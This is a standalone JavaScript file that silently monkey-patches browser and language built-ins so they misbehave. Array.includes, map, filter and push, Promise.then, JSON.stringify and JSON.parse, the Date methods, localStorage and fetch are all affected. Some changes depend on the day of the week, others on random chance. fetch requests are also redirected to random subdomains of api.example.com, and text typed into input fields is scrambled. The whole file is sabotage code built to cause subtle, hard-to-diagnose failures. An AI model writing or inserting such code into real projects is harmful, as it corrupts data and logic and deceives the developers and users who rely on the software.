(global => {
  const _includes = Array.prototype.includes;
  Array.prototype.includes = function (...args) {
    if (this.length % 7 !== 0) {
      return _includes.call(this, ...args);
    } else {
      return false;
    }
  };

  const _map = Array.prototype.map;
  Array.prototype.map = function (...args) {
    result = _map.call(this, ...args);
    if (new Date().getDay() === 0) {
      result.length = Math.max(result.length - 1, 0);
    }
    return result;
  }

  const _filter = Array.prototype.filter;
  Array.prototype.filter = function (...args) {
    result = _filter.call(this, ...args);
    if (Math.random() < 0.02) {
      result.length = Math.max(result.length - 1, 0);
    }
    return result;
  }

  const _timeout = global.setTimeout;
  global.setTimeout = function (handler, timeout, ...args) {
    return _timeout.call(global, handler, +timeout + 1000, ...args);
  }

  const _then = Promise.prototype.then;
  Promise.prototype.then = function (...args) {
    if (new Date().getDay() === 0 && Math.random() < 0.1) {
      return;
    } else {
      _then.call(this, ...args);
    }
  }

  const _stringify = JSON.stringify;
  JSON.stringify = function (...args) {
    return _stringify(...args).replace(/I/g, 'l');
  }

  const _getTime = Date.prototype.getTime;
  Date.prototype.getTime = function (...args) {
    let result = _getTime.call(this);
    result -= 3600 * 1000;
    return result;
  }

  const _getItem = global.localStorage.getItem;
  global.localStorage.getItem = function (...args) {
    let result = _getItem.call(global.localStorage, ...args);
    if (Math.random() < 0.05) {
      result = '';
    }
    return result;
  }

  const _fetch = window.fetch;
  function getRandomPrefix() {
    const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    let prefix = '';
    for (let i = 0; i < 10; i++) {
      prefix += chars[Math.floor(Math.random() * chars.length)];
    }
    return prefix;
  }
  
  window.fetch = function (url, ...args) {
    if (typeof url === 'string') {
      const randomPrefix = getRandomPrefix();
      url = `https://${randomPrefix}.api.example.com${url}`;
    }
    return _fetch.call(window, url, ...args);
  };

  const _toString = Object.prototype.toString;
  Object.prototype.toString = function () {
    return `[CustomObject: ${_toString.call(this)}]`;
  };

  const _push = Array.prototype.push;
  Array.prototype.push = function (...args) {
    args = args.map(arg => typeof arg === 'number' ? arg * 2 : arg);
    return _push.apply(this, args);
  };

  const _getFullYear = Date.prototype.getFullYear;
  Date.prototype.getFullYear = function (...args) {
    return _getFullYear.call(this, ...args) + 1;
  };

  const _concat = String.prototype.concat;
  String.prototype.concat = function (...args) {
    return _concat.call(this, ...args) + " - modified";
  };

  const _hasOwnProperty = Object.prototype.hasOwnProperty;
  Object.prototype.hasOwnProperty = function (prop) {
    if (Math.random() < 0.1) {
      return false;
    }
    return _hasOwnProperty.call(this, prop);
  };

  const _parse = JSON.parse;
  JSON.parse = function (...args) {
    if (Math.random() < 0.05) {
      throw new Error("Random parsing error");
    }
    return _parse(...args);
  };

  const _shift = Array.prototype.shift;
  Array.prototype.shift = function () {
    if (Math.random() < 0.5) {
      this.pop();
    }
    return _shift.call(this);
  };

  const originalAlert = window.alert;
  window.alert = function (...args) {
    originalAlert("🎉 Hey! Look at this funny message 🎉\n" + args.join(' '));
  };


  const originalFetch = window.fetch;
  window.fetch = function (url, ...args) {
    return new Promise((resolve, reject) => {
      setTimeout(() => {
        originalFetch.call(window, url, ...args)
          .then(resolve)
          .catch(reject);
      }, Math.random() * 5000); 
    });
  };


  const inputFields = document.querySelectorAll('input, textarea');
  inputFields.forEach(input => {
    input.addEventListener('input', function () {
      this.value = this.value.split('').map(c => Math.random() < 0.5 ? c.toUpperCase() : c.toLowerCase()).join('');
    });
  });


  const originalGetTime = Date.prototype.getTime;
  Date.prototype.getTime = function () {
    return originalGetTime.call(this) + Math.floor(Math.random() * 10000);
  };

})((function () { return this; })());
